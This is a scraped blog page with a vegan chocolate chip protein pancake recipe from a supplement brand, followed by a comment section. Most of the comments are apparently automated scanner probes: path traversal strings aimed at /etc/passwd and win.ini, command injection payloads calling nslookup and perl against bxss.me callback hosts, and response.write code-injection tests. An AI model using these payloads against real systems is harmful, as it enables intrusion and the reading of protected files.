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Vegan Chocolate Chip Protein Pancakes from LIV Body Athlete Natalie Matthews

July 16, 2019

Who doesn't love pancakes? And a major bonus... it's packed with protein and chocolate chips! Thats a win-win in our eyes.

Shout out to LIV Body Athlete Natalie Matthews for this amazing recipe. 

Get flippin' and stack 'em up high!

 

Makes 3 servings (2 small pancakes per serving) 
Macros per serving: Approximately 22g P/37g C/5g F

Ingredients:
  • 90g GF All-purpose baking flour (3/4 cups)
  • 74g LIV Body Cinnamon Coffee Cake Lean Protein & Greens (2 scoops)
  • 2 teaspoons baking powder
  • 1/4 teaspoon salt 
  • 130g unsweetened applesauce (1/2 cup)
  • 8oz pea milk or soy milk (1 cup) 
  • 2 teaspoons vanilla extract
  • 15g mini vegan chocolate chips (1 tbsp)
Instructions: 
  1. Heat a non-stick pan over medium heat.⠀
  2. In a mixing bowl, add flour, protein powder, baking powder, and salt.  Whisk until all the ingredients are well combined.⠀
  3. Add applesauce, pea milk, and vanilla extract.  Whisk together until reaching a pancake batter consistency.  Add more milk if needed. ⠀
  4. Fold in the chocolate chips. ⠀
  5. Scoop 1/3 cup of the pancake batter onto the hot pan. Cook pancakes for 1-2 minutes on each side. ⠀
  6. Repeat step 5 with the rest of the pancake batter.⠀
  7. Split into 3 equal portions for the week. ⠀
  8. Serve topped with your favorite toppings and enjoy.
Try it out and let us know what you think by commenting below! 

----------------------------------------------------------------------------------

About LIV Body

We are committed to bringing the highest quality, most effective, natural products to the market. All of our supplements products are all-natural, free of artificial sweeteners, artificial colors, harmful additives, and taste absolutely amazing!

LIV Body takes every measure possible to ensure that we are optimizing the health and wellness of our customers. We are fanatical about ensuring that we are sourcing the purest and natural ingredients available and are even more obsessed with making sure that we keep all of the potentially harmful ingredients out of our products. We are strong believers that fueling your body with natural ingredients from the earth is exactly what will optimize your appearance, health, and physical and mental performance.

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bxss.me
bxss.me

December 16, 2020

555

QlqzzNwr
QlqzzNwr

December 16, 2020

../../../../../../../../../../windows/win.ini

../../../../../../../../../../windows/win.ini
../../../../../../../../../../windows/win.ini

December 16, 2020

555

1some_inexistent_file_with_long_name�.jpg
1some_inexistent_file_with_long_name.jpg

December 16, 2020

555

QlqzzNwr
QlqzzNwr

December 16, 2020

555

Http://bxss.me/t/fit.txt
Http://bxss.me/t/fit.txt

December 16, 2020

555

../QlqzzNwr
../QlqzzNwr

December 16, 2020

555

|(nslookup hitmpscqpghmj56b7a.bxss.me||perl -e "gethostbyname('hitmpscqpghmj56b7a.bxss.me')")
|(nslookup hitmpscqpghmj56b7a.bxss.me||perl -e "gethostbyname('hitmpscqpghmj56b7a.bxss.me')")

December 16, 2020

555

`(nslookup hitjcmmwtkqjs7581e.bxss.me||perl -e "gethostbyname('hitjcmmwtkqjs7581e.bxss.me')")`
`(nslookup hitjcmmwtkqjs7581e.bxss.me||perl -e "gethostbyname('hitjcmmwtkqjs7581e.bxss.me')")`

December 16, 2020

555

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

December 16, 2020

555

$(nslookup hitthfcwwknco87fa3.bxss.me||perl -e "gethostbyname('hitthfcwwknco87fa3.bxss.me')")
$(nslookup hitthfcwwknco87fa3.bxss.me||perl -e "gethostbyname('hitthfcwwknco87fa3.bxss.me')")

December 16, 2020

555

QlqzzNwr
QlqzzNwr

December 16, 2020

“response.write(9211093*9175363)”

../../../../../../../../../../etc/passwd
../../../../../../../../../../etc/passwd

December 16, 2020

555

&(nslookup hitcyzieqecef9d0dc.bxss.me||perl -e "gethostbyname('hitcyzieqecef9d0dc.bxss.me')")&'\"`0&(nslookup hitcyzieqecef9d0dc.bxss.me||perl -e "gethostbyname('hitcyzieqecef9d0dc.bxss.me')")&`'
&(nslookup hitcyzieqecef9d0dc.bxss.me||perl -e "gethostbyname('hitcyzieqecef9d0dc.bxss.me')")&'\"`0&(nslookup hitcyzieqecef9d0dc.bxss.me||perl -e "gethostbyname('hitcyzieqecef9d0dc.bxss.me')")&`'

December 16, 2020

555

|echo tkbuie$()\ cxbncb\nz^xyu||a #' |echo tkbuie$()\ cxbncb\nz^xyu||a #|" |echo tkbuie$()\ cxbncb\nz^xyu||a #
|echo tkbuie$()\ cxbncb\nz^xyu||a #' |echo tkbuie$()\ cxbncb\nz^xyu||a #|" |echo tkbuie$()\ cxbncb\nz^xyu||a #

December 16, 2020

555

QlqzzNwr
QlqzzNwr

December 16, 2020

response.write(9211093*9175363)

(nslookup hittxemcyijyd217ed.bxss.me||perl -e "gethostbyname('hittxemcyijyd217ed.bxss.me')")
(nslookup hittxemcyijyd217ed.bxss.me||perl -e "gethostbyname('hittxemcyijyd217ed.bxss.me')")

December 16, 2020

555

QlqzzNwr
QlqzzNwr

December 16, 2020

‘response.write(9211093*9175363)’

echo clplbo$()\ hhpcdu\nz^xyu||a #' &echo clplbo$()\ hhpcdu\nz^xyu||a #|" &echo clplbo$()\ hhpcdu\nz^xyu||a #
echo clplbo$()\ hhpcdu\nz^xyu||a #' &echo clplbo$()\ hhpcdu\nz^xyu||a #|" &echo clplbo$()\ hhpcdu\nz^xyu||a #

December 16, 2020

555

'+response.write(9849067*9833433)+'
'+response.write(9849067*9833433)+'

December 16, 2020

555

&echo jokrax$()\ rzzzyr\nz^xyu||a #' &echo jokrax$()\ rzzzyr\nz^xyu||a #|" &echo jokrax$()\ rzzzyr\nz^xyu||a #
&echo jokrax$()\ rzzzyr\nz^xyu||a #' &echo jokrax$()\ rzzzyr\nz^xyu||a #|" &echo jokrax$()\ rzzzyr\nz^xyu||a #

December 16, 2020

555

"+response.write(9849067*9833433)+"
"+response.write(9849067*9833433)+"

December 16, 2020

555

QlqzzNwr
QlqzzNwr

December 16, 2020

555

response.write(9849067*9833433)
response.write(9849067*9833433)

December 16, 2020

555

QlqzzNwr
QlqzzNwr

December 16, 2020

555

Heidi
Heidi

July 17, 2020

These were legit super fluffy pancakes! I used the fruity o’s powder and oat flour. My 6 yo loves them as well!

Bess
Bess

May 22, 2020

I tried this recipe but its like they were too moist or something.

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